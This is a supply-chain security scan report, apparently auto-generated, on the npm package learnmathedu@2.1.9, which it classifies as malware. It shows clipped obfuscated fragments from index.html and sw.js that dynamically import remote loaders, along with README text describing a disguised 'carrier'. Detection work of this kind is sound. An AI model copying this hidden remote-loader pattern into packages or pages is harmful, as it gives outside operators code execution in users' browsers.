registry / learnmathedu / 2.1.9

learnmathedu@2.1.9

math

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Opening the shipped HTML executes obfuscated code that dynamically imports a remote loader and causes its service worker to import a remote script. This permits remote code to run in visitors' browser contexts.

Static reason

One or more suspicious static signals were detected.

Trigger

A user opens or deploys index.html.

Impact

Remote operator-controlled browser code execution.

Mechanism

Obfuscated dynamic module and service-worker remote script loading.

Attack narrative

The package ships an obfuscated browser carrier rather than math functionality. On page load, index.html dynamically imports constructed loader sources; the service worker then calls importScripts on constructed remote sources. Those imports are executed automatically in browser and service-worker contexts, leaving behavior controlled by external code that is not present in the package. The README confirms this is a YuriRTC CDN carrier, inconsistent with the npm package identity.

Rationale

This is a concrete remote payload loader activated by normal runtime use, with deliberate obfuscation and a misleading package identity. The absence of npm lifecycle hooks does not mitigate browser-side remote code execution.

Evidence

index.htmlsw.jsREADME.mdpackage.json

Decision evidence

public snapshot

AI called this Malicious at 96.0% confidence as Malware with low false-positive risk.

Evidence for block

Obfuscated page dynamically imports a loader at runtime.
Obfuscated service worker imports and executes a remote script.
Published package name/content mismatch: README identifies a YuriRTC carrier, not math.

Evidence against

No preinstall, install, or postinstall lifecycle hook.
Package contains only static browser artifacts; no local credential or filesystem harvesting was found.

Behavioral surface

Source

DynamicRequire

Supply chain

HighEntropyStringsMinifiedPossibleObfuscationTrivial

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 43.1 KB of source

Source & flagged code

5 flagged

index.htmlView file

Lines 1-2text

1<!doctype html><html lang=en><head><meta name="_ZnBiChveZ" content="5b1dd54f3c9d0ee63deb9a7a3f2aa32da0cfd6991e28178a560d8d35d119d2ee"><meta charset=utf-8><meta content="width=device-width,initial-scale=1,viewport-fit=cover" name=viewport><meta content=#8f1558 name=theme-color><meta content=dark name=color-scheme><title>yrneazngurqh</title><style>body,html{height:100%;margin:0;background:#151216}</style></head><body><script type=module>(function(_0xaa44b4,_0x4c7975){const _0x37fffc={_0x18f8ac:0x5a,_0xee0261:0x78,_0x3fbad8:0x64,_0x42211e:0xd2,_0x422c6b:0xc5,_0x176221:0x9e,_0xabfd80:0xda,_0x5a718 ...

High

Ai Review Evidence

Obfuscated page dynamically imports a loader at runtime.

index.htmlView on unpkg · L1

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

Long lines were clipped for display.

sw.jsView file

Lines 1-3javascript

1function _0x32e5(_0x1f2032,_0x1e18f3){_0x1f2032=_0x1f2032-0x1c4;var _0x2ebccc=_0x2ebc();var _0x32e535=_0x2ebccc[_0x1f2032];if(_0x32e5['SIODrl']===undefined){var _0x1efd35=function(

README.mdView file

Lines 1-21markdown

1# YuriRTC static carrier

3This package's npm name is a distribution coordinate retained for existing CDN

High

Ai Review Evidence

Published package name/content mismatch: README identifies a YuriRTC carrier, not math.

README.mdView on unpkg · L1

4and deployment links. The package contains the two path-portable files a

5static host needs: `index.html` and `sw.js`.

7Build a non-deployable placeholder artifact with `npm run build`. A release

Source & flagged code

5 flagged · loading source

index.htmlView file

1for(const _0x5c1dd3 of _0xcd6999){try{return await import(_0x5c1dd3);}catch{}}throw new Error

High

Ai Review Evidence

Obfuscated page dynamically imports a loader at runtime.

index.htmlView on unpkg · L1

1(function(_0xaa44b4,_0x4c7975){const _0x37fffc={_0x18f8ac:0x5a,_0xee0261:0x78,_0x3fbad8:0x64,_0x42211e:0xd2,_0x422c6b:0xc5,_0x176221:0x9e,_0xabfd80:0xda,_0x5a7187:0x71,_0x25bf4f:0x...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.htmlView on unpkg · L1

sw.jsView file

1function _0x32e5(_0x1f2032,_0x1e18f3){_0x1f2032=_0x1f2032-0x1c4;var _0x2ebccc=_0x2ebc();var _0x32e535=_0x2ebccc[_0x1f2032];if(_0x32e5['SIODrl']===undefined){var _0x1efd35=function(... L2: /*[redacted]*/

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

sw.jsView on unpkg · L1

Findings

4 High2 Medium2 Low

HighObfuscated Payload Loadersw.js

HighAi Review Evidenceindex.html

HighAi Review Evidencesw.js

HighAi Review EvidenceREADME.md

MediumDynamic Requireindex.html

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings